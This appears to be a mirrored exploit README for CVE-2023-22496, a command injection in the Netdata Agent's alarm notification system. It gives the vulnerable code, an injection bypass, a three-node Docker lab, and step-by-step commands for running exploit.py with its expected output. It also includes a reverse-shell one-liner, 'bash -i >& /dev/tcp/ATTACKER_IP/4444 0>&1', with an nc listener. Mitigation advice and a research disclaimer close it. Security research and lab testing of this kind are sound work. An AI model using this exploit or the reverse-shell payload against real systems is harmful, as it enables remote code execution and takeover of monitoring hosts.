Share
## https://sploitus.com/exploit?id=7E728DBB-AAD1-5FD6-AFCE-86330F2E37FE
# CVE-2023-22496 โ€” Netdata Agent OS Command Injection PoC

> **Severity**: Critical (CVSS 9.8)  
> **Affected**: Netdata Agent  **Fixed in**: v1.37.0  
> **Type**: OS Command Injection (CWE-78)

---

## Overview

**CVE-2023-22496** is an OS command injection vulnerability in Netdata's health alarm notification system. The `registry_hostname` of any node in a streaming chain is inserted into a shell command without sanitisation. An attacker who can set `registry hostname` in a Netdata config file achieves **remote code execution** as the `netdata` process user on any parent node that processes the alarm.

---

## Vulnerability Details

### Vulnerable code โ€” `health/health.c`

```c
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // โ† NO SANITISATION โ€” attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}
```

`spawn_enq_cmd` passes the string to `/bin/sh -c`, which evaluates it as shell. Since `registry_hostname` is never sanitised, an attacker can inject arbitrary shell commands.

### Bypass: `exec` process-replacement

The naive injection `` `'; cmd; '` `` doesn't work because the `exec` shell builtin *replaces* the current shell process, so the injected `;cmd;` is never reached.

**Working bypass** โ€” use `&` (background operator):

```sh
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   โ†’ runs in background; shell stays alive
#   touch /tmp/pwned &                   โ†’ shell evaluates this; file created
#   #                                    โ†’ rest is a comment; ignored
```

---

## Streaming Attack Chain

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  stream  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  stream  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  agent_child โ”‚ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ โ”‚ agent_middle โ”‚ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ โ”‚   agent_parent       โ”‚
โ”‚  (attacker)  โ”‚          โ”‚  (relay)     โ”‚          โ”‚   (victim / target)  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜          โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜          โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                                            โ”‚
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              โ†’ RCE on agent_parent
```

The attacker only needs to control *any* node in the streaming chain. The `registry_hostname` is propagated in the stream protocol and used verbatim by every parent node when it calls `health_alarm_execute`.

---

## Repository Structure

```
CVE-2023-22496-PoC/
โ”œโ”€โ”€ Dockerfile              # Builds netdata-vuln:v1.36.1 from source
โ”œโ”€โ”€ docker-compose.yaml     # 3-node vulnerable streaming environment
โ”œโ”€โ”€ exploit.py              # Standalone exploit script
โ”œโ”€โ”€ config/
โ”‚   โ”œโ”€โ”€ parent_netdata.conf # Parent config (writable โ€” exploit overwrites this)
โ”‚   โ”œโ”€โ”€ parent_stream.conf  # Parent accepts streams + evaluates health
โ”‚   โ”œโ”€โ”€ parent_guid         # Fixed node GUID
โ”‚   โ”œโ”€โ”€ middle_netdata.conf # Middle relay config
โ”‚   โ”œโ”€โ”€ middle_stream.conf
โ”‚   โ”œโ”€โ”€ middle_guid
โ”‚   โ”œโ”€โ”€ child_netdata.conf  # Child sender config
โ”‚   โ”œโ”€โ”€ child_stream.conf
โ”‚   โ””โ”€โ”€ child_guid
โ””โ”€โ”€ README.md
```

---

## Quick Start

### Prerequisites

- Docker โ‰ฅ 20.10
- Docker Compose v2 (`docker compose`)
- Python 3.8+
- ~500 MB disk (image build)
- Internet access for the Docker build (downloads Netdata v1.36.1 source)

### Step 1 โ€” Build the vulnerable Docker image

```bash
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5โ€“15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
```

### Step 2 โ€” Start the 3-node vulnerable environment

```bash
docker compose up -d
```

Wait ~15 seconds for Netdata to initialise, then verify:

```bash
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
```

### Step 3 โ€” Run the exploit

```bash
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
```

**Expected output:**

```
======================================================================
  CVE-2023-22496 โ€” Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  โœ…  SUCCESS โ€” CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================
```

### Reverse Shell Example

```bash
# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
```

### Custom Command

```bash
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
```

---

## Teardown

```bash
# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1
```

---

## Mitigation

| Action | Detail |
|--------|--------|
| **Upgrade** | Update Netdata Agent to โ‰ฅ v1.37.0 |
| **Restrict** | Restrict write access to `netdata.conf` |
| **Network** | Isolate streaming ports (19999/tcp) to trusted networks only |
| **Verify** | `netdata --version` โ€” confirm you are not on a pre-1.37 release |

The fix in v1.37.0 sanitises `registry_hostname` by rejecting any characters outside `[a-zA-Z0-9._-]` before inserting it into the shell command.

---

## References

- [NVD โ€” CVE-2023-22496](https://nvd.nist.gov/vuln/detail/CVE-2023-22496)
- [GitHub Security Advisory GHSA-qxg7-jvq3-7x6h](https://github.com/netdata/netdata/security/advisories/GHSA-qxg7-jvq3-7x6h)
- [Netdata fix commit](https://github.com/netdata/netdata/commit/76b9a45)
- [Netdata v1.37.0 release](https://github.com/netdata/netdata/releases/tag/v1.37.0)

---

## Disclaimer

This repository is provided **for educational and authorised security research purposes only**. Running this PoC against systems you do not own or have explicit written permission to test is **illegal**. The authors assume no liability for misuse.